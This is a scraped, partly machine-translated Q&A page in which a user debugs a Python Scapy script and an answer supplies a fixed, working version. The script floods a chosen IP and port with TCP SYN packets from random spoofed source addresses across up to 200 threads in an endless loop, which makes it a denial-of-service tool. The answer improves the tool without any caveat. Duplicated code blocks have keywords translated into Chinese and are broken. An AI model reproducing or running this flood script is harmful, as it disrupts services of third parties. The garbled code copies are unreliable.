Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/322.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python脚本中的Scapy_Python_Scapy - Fatal编程技术网

Python脚本中的Scapy

Python脚本中的Scapy,python,scapy,Python,Scapy,我正在用Python编写一个使用Scapy的脚本,但我的问题是,例外情况是: i=IP() NameError:未定义全局名称“IP” 这是我的剧本: import random from scapy import * import threading import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) print ("Which IP would you like to choose?") ip

我正在用Python编写一个使用Scapy的脚本,但我的问题是,例外情况是:

i=IP()

NameError:未定义全局名称“IP”

这是我的剧本:

import random
from scapy import *
import threading
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = raw_input("-->")

class sendSYN(threading.Thread):
    global ip, port

    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        # Method -
        i = IP()
        i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
        i.dst = ip

        t = TCP()
        t.sport = random.randint(1, 65535)
        t.dport = port
        t.flags = 'S'

        send(i/t, verbose=0)

count = 0
while True:
    if threading.activeCount() < 200:
        sendSYN().start()
        count += 1
        if count % 100 == 0:
            print ("\rPackets SYN\t:\t\t\t%i" % count)
随机导入
从scapy进口*
导入线程
导入日志记录
logging.getLogger(“scapy.runtime”).setLevel(logging.ERROR)
打印(“您要选择哪个IP?”)
ip=原始输入(“-->”)
打印(“要选择哪个端口?”)
端口=原始输入(“-->”)
类sendSYN(threading.Thread):
全局ip,端口
定义初始化(自):
threading.Thread.\uuuuu init\uuuuuu(自)
def运行(自):
#方法-
i=IP()
i、 src=“%i.%i.%i.%i”%(random.randint(1254),random.randint(1254),random.randint(1254),random.randint(1254),random.randint(1254))
i、 dst=ip
t=TCP()
t、 sport=random.randint(165535)
t、 dport=端口
t、 flags='S'
发送(i/t,详细=0)
计数=0
尽管如此:
如果threading.activeCount()小于200:
sendSYN().start()
计数+=1
如果计数%100==0:
打印(“\rPackets SYN\t:\t\t\t%i”%count)

我该怎么做才能修复它?

我认为您应该为似乎缺失的内容进行必要的导入

试试这个:

from scapy.all import IP
或此

from scapy.all import *

导入IP/TCP

您可以直接从
scapy.layers.*
子包导入scapy提供的所有层。只要您不需要任何其他功能,如send/sendp/sniff/,就可以了。。。或者,您需要一些非常神奇的层,如ASN.1,如果缺少通常使用导入scapy.all设置的全局初始化,则这些层会失败并引发异常

IP()和TCP()的特定导入(检查scapy/layers/inet.py)

只要您只将它们用于反序列化(例如,组装/反汇编数据包),就足够了,但由于您还需要send(),因此必须按照建议导入scapy.all。 请注意,根据以下说明,导入行从scapy import*(scapy v1.x)的
更改为从scapy.all import*
(自scapy v2.x)的
,因此以下内容对您来说应该是合适的:

from scapy.all import send, IP, TCP
请注意,导入scapy.all相当慢,因为它通配符导入所有子包并执行一些初始化魔术。 也就是说,您应该尽量避免不必要的通配符导入(编码风格;即使在scapy中没有太大区别)

python 2.7

scapy v2.3.1与linux上的python 2.7兼容。 然而,让它在windows上完全运行并不是那么简单,请参阅,尤其是在通过网络发送数据包时。通常,windows用户使用scapy 2.3.1运行python2.6(请注意,当scapy尝试在某些windows版本上获取原始套接字访问权限时,可能会出现权限问题)。为了让您省去一些麻烦,我强烈建议您在linux上运行它(vbox很好)

代码的工作示例

以下代码在linux py2.7 scapy 2.3.1上运行良好:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import threading
import random
from scapy.all import IP, TCP, RandIP, send, conf, get_if_list
logging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s [%(threadName)s] %(message)s')

class sendSYN(threading.Thread):
    def __init__(self, target):
        threading.Thread.__init__(self)
        self.ip, self.port = target

    def run(self):
        pkt = IP(src=RandIP(),
                 dst=self.ip)/TCP(flags='S',
                                    dport=self.port,
                                    sport=random.randint(0,65535))

        send(pkt)
        logging.debug("sent: %s"%pkt.sprintf("{IP:%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%}"))

if __name__=='__main__':
    conf.verb = 0       # suppress output
    print ("Which Interface would you like to choose? %r"%get_if_list())
    iface = raw_input("[%s] --> "%get_if_list()[0]) or get_if_list()[0]
    if iface not in get_if_list(): raise Exception("Interface %r not available"%iface)
    conf.iface = iface
    print ("Which IP would you like to choose?")
    ip = raw_input("-->")
    print ("Which Port would you like to choose?")
    port = int(raw_input("-->"))

    count = 0
    while True:
        if threading.activeCount() < 200:
            sendSYN((ip, port)).start()
            count += 1
            if count % 100 == 0:
                logging.info ("\rPackets SYN\t:\t\t\t%i" % count)
#/usr/bin/env python
#-*-编码:UTF-8-*-
导入日志记录
logging.getLogger(“scapy.runtime”).setLevel(logging.ERROR)
导入线程
随机输入
从scapy.all导入IP、TCP、RandIP、send、conf、get\u if\u列表
logging.basicConfig(level=logging.DEBUG,格式='%(asctime)-15s[%(threadName)s]%(message)s')
类sendSYN(threading.Thread):
定义初始(自我,目标):
threading.Thread.\uuuuu init\uuuuuu(自)
self.ip,self.port=目标
def运行(自):
pkt=IP(src=RandIP(),
dst=self.ip)/TCP(flags='S',
dport=self.port,
sport=random.randint(065535))
发送(pkt)
logging.debug(“已发送:%s”%pkt.sprintf({IP:%IP.src%:%TCP.sport%->%IP.dst%:%TCP.dport%}”))
如果“名称”=“\uuuuuuuu主要”:
conf.verb=0#抑制输出
打印(“要选择哪个接口?%r”%get\u if\u list())
iface=raw\u input(“[%s]-->%get\u if\u list()[0])或get\u if\u list()[0]
如果iface不在get\u if\u列表()中:引发异常(“接口%r不可用”%iface)
conf.iface=iface
打印(“您要选择哪个IP?”)
ip=原始输入(“-->”)
打印(“要选择哪个端口?”)
端口=int(原始输入(“-->”)
计数=0
尽管如此:
如果threading.activeCount()小于200:
sendSYN((ip,端口)).start()
计数+=1
如果计数%100==0:
logging.info(“\rPackets SYN\t:\t\t\t%i”%count)
  • 固定进口
  • 使用日志记录而不是打印
  • 将目标传递给类实例,而不是使用全局
  • 添加了界面选择(windows必须有,因为scapy在linux和windows中都使用linux风格的界面名称,这就是为什么您可能必须猜测windows的正确界面名称)
  • 全局设置scapy冗长
  • 使用RandIP()字段,而不是手动构建随机IP
  • TCP.sport/dport需要一个整数,因此必须解析从stdin读取的值
  • 使用snprintf()打印发送的数据包IP/端口

看起来您的“print()”正在使用python3,但是当您想从用户那里获得输入时,您使用了“raw_input”而不是“input”

您期望的
IP
是什么?@Kasramvd当您使用scapy并想要制作一个数据包时,您使用语句
IP(src=“…”,dst=“…”
)。所以我希望
IP()
是IP数据包的创建。阅读此处:您的程序似乎无法识别IP是什么,您能检查一下它是否在scapy下定义了吗?您没有在任何地方导入
IP
@Kasramvd所以如果我导入Scapy,并不意味着我也导入了
IP
?出于某种原因,我得到了Scapy模块,但当我尝试导入
Scapy时。所有的
都说没有模块,但我100%肯定我做到了
from scapy.all import *
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import threading
import random
from scapy.all import IP, TCP, RandIP, send, conf, get_if_list
logging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s [%(threadName)s] %(message)s')

class sendSYN(threading.Thread):
    def __init__(self, target):
        threading.Thread.__init__(self)
        self.ip, self.port = target

    def run(self):
        pkt = IP(src=RandIP(),
                 dst=self.ip)/TCP(flags='S',
                                    dport=self.port,
                                    sport=random.randint(0,65535))

        send(pkt)
        logging.debug("sent: %s"%pkt.sprintf("{IP:%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%}"))

if __name__=='__main__':
    conf.verb = 0       # suppress output
    print ("Which Interface would you like to choose? %r"%get_if_list())
    iface = raw_input("[%s] --> "%get_if_list()[0]) or get_if_list()[0]
    if iface not in get_if_list(): raise Exception("Interface %r not available"%iface)
    conf.iface = iface
    print ("Which IP would you like to choose?")
    ip = raw_input("-->")
    print ("Which Port would you like to choose?")
    port = int(raw_input("-->"))

    count = 0
    while True:
        if threading.activeCount() < 200:
            sendSYN((ip, port)).start()
            count += 1
            if count % 100 == 0:
                logging.info ("\rPackets SYN\t:\t\t\t%i" % count)